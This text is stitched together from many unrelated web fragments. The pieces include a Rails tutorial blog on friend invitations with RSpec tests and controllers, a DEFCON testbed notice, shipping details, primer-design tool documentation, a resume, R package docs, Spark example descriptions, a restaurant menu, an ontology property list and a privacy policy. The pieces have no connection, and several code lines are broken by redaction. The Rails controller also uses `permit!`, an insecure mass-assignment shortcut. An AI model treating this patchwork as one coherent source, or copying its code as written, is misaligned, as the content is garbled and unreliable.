%p= @invitation.message
%p= link_to "Accept this invitation"<EMAIL_ADDRESS>Create routes
resources :users, only: [:create, :show]
get 'register/:token', to: "users#new_with_invitation_token", as: 'register_with_token'
#users_controller_spec.rb
describe "GET new_with_invitation_token" do
it "render the :new view template" do
invitation = Fabricate(:invitation)
get :new_with_invitation_token, token: invitation.token
expect(response).to render_template :new
end
it "sets @user with recipient's email" do
invitation = Fabricate(:invitation)
get :new_with_invitation_token, token: invitation.token
expect(assigns(:user).email).to eq(invitation.recipient_email)
end
it "sets @invitation_token" do
invitation = Fabricate(:invitation)
get :new_with_invitation_token, token: invitation.token
expect(assigns(:invitation_token)).to eq(invitation.token)
end
it "redirects to expired token page for invalid tokens" do
get :new_with_invitation_token, token: 'asdffdhh'
expect(response).to redirect_to expired_token_path
end
We need to fabricate an invitation:
#fabricators/invitation_fabricators.rb
Fabricator(:invitation) do
recipient_name { Faker::Name.name }
recipient_email { Faker::Internet.email }
message { Faker::Lorem.paragraphs(2).join(" ") }
end
Add Tokens Column to Invitations:
class AddTokenToInvitations < ActiveRecord::Migration
def change
add_column :invitations, :token, :string
end
end
#users_controller.rb
def new_with_invitation_token
invitation = Invitation.where(token: params[:token]).first
if invitation
@user = User.new(email: invitation.recipient_email)
@invitation_token = invitation.token
render :new
else
redirect_to expired_token_path
end
end
private
def user_params
params.require(:user).permit!
end
def handle_invitations
if params[:invitation_token].present?
invitation = Invitation.where(token: params[:invitation_token]).first
@user.follow(invitation.inviter)
invitation.inviter.follow(@user)
invitation.update_column(:token, nil)
end
end
end
User registers upon clicking link
#users/new.html.haml
%section.register.container
.row
.col-sm-10.col-sm-offset-1
= bootstrap_form_for @user, html: { class: "form-horizontal"} do |f|
%header
%h1 Register
%fieldset
.col-sm-6
= f.email_field :email, label: "Email Address"
= f.password_field :password
= f.text_field :full_name, label: "Full Name"
= hidden_field_tag :invitation_token, @invitation_token
%fieldset.actions.control-group.col-sm-offset-0
.controls
%input(type="submit" value="Sign Up" class="btn btn-default")
Gotchas
Another issue with the current form is when the invitee signs up, we lose the
lose inviter's info and they are not not following the inviter. To fix this, we need a hidden field on the invitee registration form. This hidden field is a field tag, rather than model backed becasue we don't want this token to be stored under the user's token.
Step 3: Inviter/Invitee automatically follow each other after being invited:
#users_controller_spec.rb
describe "POST create" do
context "with valid input" do
before { post :create, user: Fabricate.attributes_for(:user) }
it "creates the user" do
expect(User.count).to eq(1)
end
it "redirects to th sign on page" do
expect(response).to redirect_to sign_in_path
end
it "makes the user follow the inviter" do
alice = Fabricate(:user)
invitation = Fabricate(:invitation, inviter: alice, recipient_email<EMAIL_ADDRESS>post :create, user: {email<EMAIL_ADDRESS>password: 'password', full_name: 'Jam Black'}, invitation_token: invitation.token
jam = User.where(email: 'jam@jamblack.com').first
expect(jam.follows?(alice)).to be_true
end
it "makes the inviter follow the user" do
alice = Fabricate(:user)
invitation = Fabricate(:invitation, inviter: alice, recipient_email<EMAIL_ADDRESS>post :create, user: {email<EMAIL_ADDRESS>password: 'password', full_name: 'Jam Black'}, invitation_token: invitation.token
jam = User.where(email: 'jam@jamblack.com').first
expect(alice.follows?(jam)).to be_true
end
it "expires the invitation upon acceptance" do
alice = Fabricate(:user)
invitation = Fabricate(:invitation, inviter: alice, recipient_email<EMAIL_ADDRESS>post :create, user: {email<EMAIL_ADDRESS>password: 'password', full_name: 'Jam Black'}, invitation_token: invitation.token
jam = User.where(email: 'jam@jamblack.com').first
expect(Invitation.first.token).to be_nil
end
end
describe "#follows?" do
it "returns true if the user has a following relationship with another user" do
alice = Fabricate(:user)
bob = Fabricate(:user)
Fabricate(:relationship, leader: bob, follower: alice)
expect(alice.follows?(bob)).to be_true
end
it "returns false if the user does not have a following relationship with another user" do
alice = Fabricate(:user)
bob = Fabricate(:user)
Fabricate(:relationship, leader: alice, follower: bob)
expect(alice.follows?(bob)).to be_false
end
end
describe "#follow" do
it "follows another user" do
alice = Fabricate(:user)
bob = Fabricate(:user)
alice.follow(bob)
expect(alice.follows?(bob)).to be_true
end
it "does not follow one self" do
alice = Fabricate(:user)
alice.follow(alice)
expect(alice.follows?(alice)).to be_false
end
end
end
#users.rb
def follows?(another_user)
following_relationships.map(&:leader).include?(another_user)
end
def can_follow?(another_user)
!(self.follows?(another_user) || self == another_user)
end
def follow(another_user)
following_relationships.create(leader: another_user) if can_follow?(another_user)
end
end
31 Mar 2015
Let's write add functionality to allow users to invite their friends:
Workflow:
- User can input friends name and email, click invite friend link
- An email is sent to friend
- Friend open email, clicks link and then is directed to Registration Form
- Email address is pre-filled
- Upon sign up, user automatically follows recommender and vice versa
Steps:
1. Copy ui controller into views/invitations/new.html.haml
%section.invite.container
.row
.col-sm-10.col-sm-offset-1
%form.invite
%header
%h1 Invite a friend to join MyFlix!
%fieldset
.form-group
%label Friend's Name
.row
.col-sm-4
%input.form-control(type="text")
.form-group
%label Friend's Email Address
.row
.col-sm-4
%input.form-control(type="email")
.form-group
%label Invitation Message
.row
.col-sm-6
%textarea.form-control(rows=6) Please join this really cool site!
%fieldset.form-group.action
%input(type="submit" value="Send Invitation" class="btn btn-default")
2. Edit template to create need attributes: recipient name, email, message
section.invite.container
.row
.col-sm-10.col-sm-offset-1
%form.invite
= bootstrap_form_for @invitation, class: "invite" do |f|
%header
%h1 Invite a friend to join MyFlix!
%fieldset
= f.text_field :recipient_name, label: "Friend's Name"
= f.text_field :recipient_email, label: "Friend's Email Address"
= f.text_area :message, class: "span4", rows: 6, placeholder: "Please join this really cool site!", label: "Message"
%fieldset.form-group.action
%input(type="submit" value="Send Invitation" class="btn btn-default")
3. Create new and create routes for invitations
resources :invitations, only: [:new, :create]
4. Create InvitationsController
5. Begin with InvitationsController spec
6. Create context: for valid inputs and invalid inputs
GET new
#invitation_controller_spec.rb
require 'spec_helper'
describe InvitationsController do
describe "GET new" do
it "sets @invitation to a new invitation" do
set_current_user
get :new
expect(assigns(:invitation)).to be_new_record
expect(assigns(:invitation)).to be_instance_of Invitation
end
it_behaves_like "requires sign in" do
let(:action) { get :new }
end
end
class InvitationsController < ApplicationController
before_filter :require_user
def new
@invitation = Invitation.new
end
Generate Migration
class CreateInvitations < ActiveRecord::Migration
def change
create_table :invitations do |t|
t.integer :inviter_id
t.string :recipient_name, :recipient_email
t.text :message
t.timestamps
end
end
end
Create Invitation Model/Model Spec
#invitation.rb
class Invitation < ActiveRecord::Base
before_create :generate_token
belongs_to :inviter, class_name: "User"
validates_presence_of :recipient_name, :recipient_email, :message
def generate_token
self.token = SecureRandom.urlsafe_base64
end
end
#invitation_model_spec.rb
require 'spec_helper'
describe Invitation do
it { should validate_presence_of(:recipient_name) }
it { should validate_presence_of(:recipient_email) }
it { should validate_presence_of(:message) }
POST create
Context: with valid Inputs
#invitations_controller_spec.rb
describe "POST create" do
it_behaves_like "requires sign in" do
let(:action) { post :create }
end
context "with valid input" do
it "redirects to ithe invitation new page" do
set_current_user
post :create, invitation: { recipient_name: "Jam Black", recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(response).to redirect_to new_invitation_path
end
it "creates the invitation" do
set_current_user
post :create, invitation: { recipient_name: "Jam Black", recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(Invitation.count).to eq(1)
end
it "sends an email to the recipient" do
set_current_user
post :create, invitation: { recipient_name: "Jam Black", recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(ActionMailer::Base.deliveries.last.to).to<EMAIL_ADDRESS>end
it "sets the flash success message" do
set_current_user
post :create, invitation: { recipient_name: "Jam Black", recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(flash[:success]).to be_present
end
end
Context: With invalid inputs
#invitations_controller_spec.rb
context "with invalid input" do
after { ActionMailer::Base.deliveries.clear }
it "renders the :new template" do
set_current_user
post :create, invitation: { recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(response).to render_template :new
end
it "does not create an invitation" do
set_current_user
post :create, invitation: { recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(Invitation.count).to eq(0)
end
it "does not send out an email" do
set_current_user
post :create, invitation: { recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(ActionMailer::Base.deliveries).to be_empty
end
it "sets the flash error message" do
set_current_user
post :create, invitation: { recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(flash[:error]). to be_present
end
it "sets #@invitation" do
set_current_user
post :create, invitation: { recipient_email<EMAIL_ADDRESS>message: "Join Myflix!" }
expect(assigns(:invitation)).to be_present
end
end
end
end
#invitations_controller.rb
def create
@invitation = Invitation.create(invitation_params.merge!(inviter_id: current_user.id))
if @invitation.save
AppMailer.send_invitation_email(@invitation).deliver
flash[:success] = "You've successfully invited<EMAIL_ADDRESS>redirect_to new_invitation_path
else
flash[:error] = "Please fill in all inputs."
render :new
end
end
private
def invitation_params
params.require(:invitation).permit(:recipient_name, :recipient_email, :message, :inviter_id)
end
end
class AppMailer < ActionMailer::Base
def send_invitation_email(invitation)
@invitation = invitation
mail to: invitation.recipient_email, from<EMAIL_ADDRESS>subject: "Invitation to join Myflix"
end
end
Remember to:
clear the ActionMailer deliveries in the valid input context so they don't interfer with
the invalid inputs. - we want that number to be 0
25 Mar 2015
Interact with Emails in Feature Tests:
Sometimes applications may require you to complete a form and an email is
is generated.
To test this feature, Capybara-email is a great way to test this functionality and provides a nice interface that allows you to write specs on the level of user interaction. This is better than as creating a feature test for ActionMailer and its deliveries because it will require too much low level detail.
gem 'capybara-email'
documentation: github//dockyard/capybara-email
Example spec for inviting a user:
#user_resets_password_spec.rb
require 'spec_helper'
feature 'User resets password' do
scenario 'user successfully resets the password' do
alice = Fabricate(:user, password: 'old_password')
visit sign_in_path
click_link "Forgot Password"
fill_in "Email Address", with: alice.email
click_button "Send Email"
open_email(alice.email)
current_email.click_link("Reset My Password")
fill_in "New Password", with: "new_password"
click_button "Reset Password"
fill_in "Email Address", with: alice.email
fill_in "Password", with: "new_password"
click_button "Sign in"
expect(page). to have_content("Welcome, #{alice.full_name}")
clear_email
end
end
20 Mar 2015
Testing Styles in Rails: Three Styles of Behavior Driven Development
Traditionally we have followed the following flow:
Meet in the Middle Technique
- Turn mock ups into view templates:
copy the mockups and replace the placeholder data
- Controller Tests (inner layer)- the controller tests will drive the model layer
tests, routes, db migrations, etc.
- Model Level Tests(inner layer) - if we need active record based and non-active record based
model - logic, we will need to drop down to model layer to test their
- Feature Specs/Integration - (Outer most layer) Tests will allow us to test everything including the view templates
- Here you will end up with less feature/integration specs than outside in because they are typically written after multiple specs.
Inside out Approach
- Start from the models and migrations that are required for that feature and then
right specs to test that model
- Controller Level
- View/Intergation Specs
- easier to start .. allows you to work with something small
- But you sometimes don't know where you're going and you may end up
adding alot of code that is not needed.
- This is used primarily in productized shops where its easier to add a model to a more mature product.
Outside in Approach
Start at the Integration Level - This integration level does not mean in the
same way that we reference the Integration Tests in the "Meet in the Middle" technique where where we test multiple features (horizontal) but rather vertical -integration means where we test for models, controllers and views for one feature
- written in a very business level decision level - you have to think 'what is the business value we are looking to provide?'
- route, controller, models
- also called BDD or ABDD (A is for Acceptance)
- often used in consultancys, clients provide the feature
- often follows more a natural flow
- requires you to know rails really well and how things work together
- people often use cucumber or rspec feature tests for this.


Thank you for visiting NARI's DEFCON Testbed at the biohacking village.
We hope you learned something about the BACnet protocol and/or automation systems!
Want to see more of what we do?
Click Here


Shipping Info
It depends on where you are. Orders will be processed in 1 to 2 business days before dispatching it to our courier provider.
The delivery itself will usually take 1 to 2 weeks for US and other major countries (i.e., Canada, UK, Australia and New Zealand). Other countries might take 3 to 4 weeks.
Delivery details will be provided in your confirmation email.
IMPORTANT: Covid-19 pandemic has impacted some of our delivery, however we are doing everything we can including taking up private channels to ensure timely delivers.


Skip to primary conent
Skip to main navigation
Twitter
Facebook
Pinterest
Home
History
Health
Recipes
DIY
Gardening
{{content}}


indCAPS (indy-caps)
A tool for generating primers suitable for CAPS or dCAPS analyses of sites with insertions or deletions as well as SNPs.
Please report any errors to<EMAIL_ADDRESS>along with the sequences you were analyzing and which tool you were attempting to use.
For the generation of dCAPS primers for known alleles, please supply at least 25-30 bases on each side of the indel or SNP location (not including the size of the inserted sequence). Both sequences should be identical except for the indel in question.
For the generation of dCAPS primers for CRISPR/Cas9 screening purposes, please supply the wild-type sequence centered on the cut site with at least 25-30 bases on each side of the predicted cut site. Also include the target sequence in the 5'->3' orientation (such that the PAM site would appear to the right of the provided sequence). Fewer than 20 bases can be provided but it is assumed that the cut position is in the -3 position of the provided sequence.
It may be desired to identify a mutant isogenic to another in a CRISPR mutagenesis experiment, e.g. using CRISPR/Cas9 methods to introduce a CRISPR-derived indel in a high order mutant line rather than crossing the high order mutant and isolated CRISPR mutant. If this is the case, the following tool can be used. The user supplies the wild-type and desired mutant sequence and the CRISPR target sequence originally used, and the program searches for a primer which identifies only the specific CRISPR mutation desired.
Note: this process is highly dependent on the expected types of CRISPR edits. Currently only single base pair indels are considered.
=============================== Enzyme: ApoI Possible cut site found at position [27]. Problem cut site found at position []. Sequence 1: TGTGTGTGCAGGGAGAAGCCAAATGTGGATTTTGACAGGGTGGACTCGTATGTGCATCAG Sequence 2: TGTGTGTGCAGGGAGAAGCCAAATGTGGATTTGACAGGGTGGACTCGTATGTGCATCAG RAATTY GTGCAGGGAGAAGCCAAATGTGGAaTT 59.76 ===============================
The Enzyme name is listed. The possible cut site is the position, moving from the left side of the primer in a 0-based manner, where the proposed cut site is located. "Problem" sites are places on the left side of the indel where an exact match to the enzyme in question can be found.
The proposed match is shown below the sequences in letters, and any problem sites are shown as "." characters.
Next, the proposed primer is shown aligned with the sequences. Comparison of the primer with the sequences should show which bases are modified to break problem cut sites or allow new cut sites to be used.
The melting temperature of the primer is shown last.


I worked in ATCCO company for one year and half as an planing engineer.
I woerked in CBD company for one year as an structral designer engineer.
Trainee - Full Stack Developer ASAC | 2021
Tools : Etabs, Safe , AutoCad, Revit, Microsoft Excel & Word , Git, GitHub
Programming Language : HTML , CSS , JAVAScript


Evaluates the specified State Space model at the parameters specified by the user.
StateSpaceEval( param, y, H_format = NULL, local_level_ind = FALSE, slope_ind = FALSE, BSM_vec = NULL, cycle_ind = FALSE, addvar_list = NULL, level_addvar_list = NULL, arima_list = NULL, sarima_list = NULL, self_spec_list = NULL, exclude_level = NULL, exclude_slope = NULL, exclude_BSM_list = lapply(BSM_vec, FUN = function(x) 0), exclude_cycle_list = list(0), exclude_arima_list = lapply(arima_list, FUN = function(x) 0), exclude_sarima_list = lapply(sarima_list, FUN = function(x) 0), damping_factor_ind = rep(TRUE, length(exclude_cycle_list)), format_level = NULL, format_slope = NULL, format_BSM_list = lapply(BSM_vec, FUN = function(x) NULL), format_cycle_list = lapply(exclude_cycle_list, FUN = function(x) NULL), format_addvar = NULL, format_level_addvar = NULL, loglik_only = FALSE )
| param | Parameters used to construct the system matrices. |
|---|---|
| y | N x p matrix containing the N observations of the p dependent variables. |
| H_format | Format of the H system matrix, the variance - covariance matrix of the observation equation. |
| local_level_ind | Boolean indicating whether a local level should be added to the state space model. |
| slope_ind | Boolean indicating whether a local level + slope should be added to the state space model. |
| BSM_vec | Vector containing the BSM seasonalities that have to be added to the state space model. |
| cycle_ind | Boolean indicating whether a cycle has to be added to the state space model. |
| addvar_list | A list containing the explanatory variables for each of
the dependent variables. The list should contain p (number of dependent
variables) elements. Each element of the list should be a N x k_p matrix,
with k_p being the number of explanatory variables for the pth
dependent variable. If no explanatory variables should be added for one
of the dependent variables, then set the corresponding element to |
| level_addvar_list | A list containing the explanatory variables for
each of the dependent variables. The list should contain p (number of
dependent variables) elements. Each element of the list should be a
N x k_p matrix, with k_p being the number of explanatory variables
for the pth dependent variable. If no explanatory variables should be
added for one of the dependent variables, then set the corresponding
element to |
| arima_list | Specifications of the ARIMA components, should be a list
containing vectors of length 3 with the following format: |
| sarima_list | Specifications of the SARIMA components, should be a list containing lists that contain 4 named vectors. Vectors should be named: "s", "ar", "i", "ma". Should be a list of lists to allow different SARIMA models for different sets of dependent variables. Note: The AR and MA coefficients are constrained such that the AR components are stationary, and the MA components are invertible. See Ansley and Kohn (1986) for details about the transformation used. Note: For multivariate models, the order of "s" matters, as matrix multiplication is not commutative! |
| self_spec_list | A list containing the specification of the self
specified component. See the Details section of |
| exclude_level | Vector containing the dependent variables that should not get a local level. |
| exclude_slope | Vector containing the dependent variables that should not get a slope. |
| exclude_BSM_list | List of vectors, each vector containing the dependent variables that should not get the corresponding BSM component. |
| exclude_cycle_list | The dependent variables that should not get the corresponding cycle component. Should be a list of vectors to allow different dependent variables to be excluded for different cycles. |
| exclude_arima_list | The dependent variables that should not be involved in the corresponding ARIMA component. Should be a list of vectors to allow different dependent variables to be excluded for different ARIMA components. |
| exclude_sarima_list | The dependent variables that should not be involved in the corresponding SARIMA component. Should be a list of vectors to allow different dependent variables to be excluded for different SARIMA components. |
| damping_factor_ind | Boolean indicating whether a damping factor should be included. Must be a vector if multiple cycles are included, to indicate which cycles should include a damping factor. |
| format_level | Format of the Q_level system matrix the variance - covariance matrix of the level state equation. |
| format_slope | Format of the Q_slope system matrix, the variance - covariance matrix of the slope state equation. |
| format_BSM_list | Format of the Q_BSM system matrix, the variance - covariance matrix of the BSM state equation. Should be a list to allow different formats for different seasonality periods. |
| format_cycle_list | Format of the Q_cycle system matrix, the variance - covariance matrix of the cycle state equation. Should be a list to allow different formats for different cycles. |
| format_addvar | Format of the Q_addvar system matrix, the variance - covariance matrix of the explanatory variables state equation. |
| format_level_addvar | Format of the Q_level_addvar system matrix, the variance - covariance matrix of the explanatory variables of the level state equation. |
| loglik_only | Boolean indicating whether only the loglikelihood should be returned. |
A list containing:
function_call
: A list containing the input to the function.
system_matrices
: A list containing the system matrices of
the State Space model.
predicted
: A list containing the predicted components of
the State Space model.
filtered
: A list containing the filtered components of
the State Space model.
smoothed
: A list containing the smoothed components of
the State Space model.
diagnostics
: A list containing items useful for diagnostical tests.
For extensive details about the object returned,
see vignette("dictionary", package = "statespacer")
.
Durbin J, Koopman SJ (2012). Time series analysis by state space methods. Oxford university press.
Ansley CF, Kohn R (1986). “A note on reparameterizing a vector autoregressive moving average model to enforce stationarity.” Journal of Statistical Computation and Simulation, 24(2), 99--106.


Sends the random content to every receiver subscribed with 1/2 second delay.
A sample actor as receiver, is also simplest.
A sample word count program demonstrating the use of plugging in Actor as Receiver Usage: ActorWordCount <master> <hostname> <port> <master> is the Spark master URL.
A sample feeder actor
Produces a count of events received from Flume.
Counts words in new text files created in the given directory Usage: HdfsWordCount <master> <directory> <master> is the Spark master URL.
Consumes messages from one or more topics in Kafka and does wordcount.
Counts words in UTF8 encoded, '\n' delimited text received from the network every second.
Receives text from multiple rawNetworkStreams and counts how many '\n' delimited lines have the word 'the' in them.
A simple publisher for demonstration purposes, repeatedly publishes random Messages every one second.
Counts words cumulatively in UTF8 encoded, '\n' delimited text received from the network every second.
Illustrates the use of the Count-Min Sketch, from Twitter's Algebird library, to compute windowed and global Top-K estimates of user IDs occurring in a Twitter stream.
Illustrates the use of the HyperLogLog algorithm, from Twitter's Algebird library, to compute a windowed and global estimate of the unique user IDs occurring in a Twitter stream.
Calculates popular hashtags (topics) over sliding 10 and 60 second windows from a Twitter stream.
A sample wordcount with ZeroMQStream stream


Quiz
0% complete
Next
Submit
Result Summary
Incorrect : 12
Correct : 12
0%
View Answers
View Chart
Replay
Your Result
Back
Your Answers
Back


You're attempting to access data which is not in the TradeBars dictionary. There are two key reasons for this:
1. You have not requested data for this security in the Initialize method.
2. The data has gaps because it is not filling forward, or you're accessing the data after-hours when there won't be any price information.
You may have accidentally put invalid start and end dates into your algorithm. Or potentially you pressed backtest before the algorithm was fully saved. Please Ctrl+S to save the document, wait for its confirmation, and then click Backtest again.


Main Menu
We serve Korean traditional food jjimdalg.
Soy sauce jjimdalg
Soy sauce with boiled vegetables, rice cake and boiled Chicken
Red sauce jjimdalg
Red sauce with boiled vegetables, rice cake and boiled Chicken
Kimchi jjimdalg
kimchi sauce with boiled vegetables, rice cake and boiled Chicken


All Objectproperties (103)
'bearer of at all times'
'bearer of at some time'
'concretized by at all times'
'concretized by at some time'
'concretizes at all times'
'concretizes at some time'
'contains process'
'disposition of at all times'
'during which exists'
'exists at'
'function of at all times'
'generically depends on at some time'
'has continuant part at all times that part exists'
'has continuant part at all times'
'has continuant part at some time'
'has disposition at all times'
'has disposition at some time'
'has function at all times'
'has function at some time'
'has generic dependent at some time'
'has history'
'has location at all times'
'has location at some time'
'has material basis at all times'
'has member part at all times'
'has member part at some time'
'has occurrent part'
'has participant at all times'
'has participant at some time'
'has profile'
'has proper continuant part at all times'
'has proper continuant part at some time'
'has proper occurrent part'
'has proper temporal part'
'has quality at all times'
'has quality at some time'
'has role at all times'
'has role at some time'
'has spatial occupant at some time'
'has spatiotemporal occupant'
'has specific dependent at all times'
'has specific dependent at some time'
'has temporal occupant'
'has temporal part'
'history of'
'inheres in at all times'
'located in at all times'
'located in at some time'
'material basis of at all times'
'material basis of at some time'
'member part of at all times'
'member part of at some time'
'occupies spatial region at some time'
'occupies spatiotemporal region'
'occupies temporal region'
'occurs in'
'part of continuant at all times that whole exists'
'part of continuant at all times'
'part of continuant at some time'
'part of occurrent'
'participates in at all times'
'participates in at some time'
'process profile of'
'projects onto spatial region at some time'
'projects onto temporal region'
'proper part of continuant at all times'
'proper part of continuant at some time'
'proper part of occurrent'
'proper temporal part of'
'quality of at all times'
'realized in'
'role of at all times'
'spatial projection of spatiotemporal at some time'
'specifically depends on at all times'
'specifically depends on at some time'
'temporal part of'
'temporal projection of spatiotemporal'
correlates_with
decreased_in_magnitude_relative_to
different_in_magnitude_relative_to
directly_associated_with
has_cross_section
has_dividend_entity
has_dividend_quality
has_divisor_entity
has_divisor_quality
has_part
has_ratio_quality
has_relative_magnitude
increased_in_magnitude_relative_to
inheres_in
inversely_associated_with
is_magnitude_of
is_measurement_of
is_unit_of
is_unit_of
part_of
realized_by
realizes
reciprocal_of
similar_in_magnitude_relative_to
singly_occurring_form_of
towards


Welcome and thank you for using Fetch!
Fetch logs the user's email name and Amazon UserId. The email may be used to notifiy customer's of Fetch service status. The Amazon UserId is a unique Id for a user specific to an Alexa skill. This information is used for monitoring serivce usage and improving the Fetch skill.
Fetch never asks for or has access to your calendar password. The Fetch skill supports connect to your calendar using OAuth2 account linking.
Fetch does not provide or sell any user names, email addresses, or any calendar items requested or returned from the Fetch skill.
We may be required to provide your Information to law enforcement or in order to comply with the law. We will only make such disclosures where we have a reasonable belief that the disclosure is necessary in order to: (a) comply with a lawful or compulsory request; (b) protect the health and safety of any person; or (c) prevent fraud or abuse.
The Fetch service is provided from the United States. Your consent to this Privacy Policy together with your submission of your Information through use of the Services represents your agreement to the transfer of your data and Fetch storing log information within the United States.
This Privacy Policy may change from time to time. You agree to be bound by the revised Privacy Policy by Account Linking Fetch to your calendar after those policy changes become effective.